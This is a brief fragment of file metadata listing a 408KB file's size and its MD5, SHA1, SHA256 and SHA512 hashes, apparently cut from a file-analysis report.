SHA5120e002e6b8d965c227d9b1aa7c0251619c787ec7717e59667e756e5815e3666a955ea397eb148a1ed6bb7d8045727e4efa656a103f14bc70a03b03f0c91283c2f
-
Filesize
408KB
MD57e626a625c18607c9136c772498be376
SHA1c7fd93707af388150ad36cb15c1099aa2699af95
SHA256e05776733d27e0bc6b2703a8f63fcdc984c86629981fabb92cdf4a9cf341d52d
SHA512d65f1775153f5cff6722a485a703f939475ce4f096240b253bd78e0a6ad885ab56ac1e4412f4a7d431fd59c13266b3717ab80721b903c7890930ab00f9aa9ffc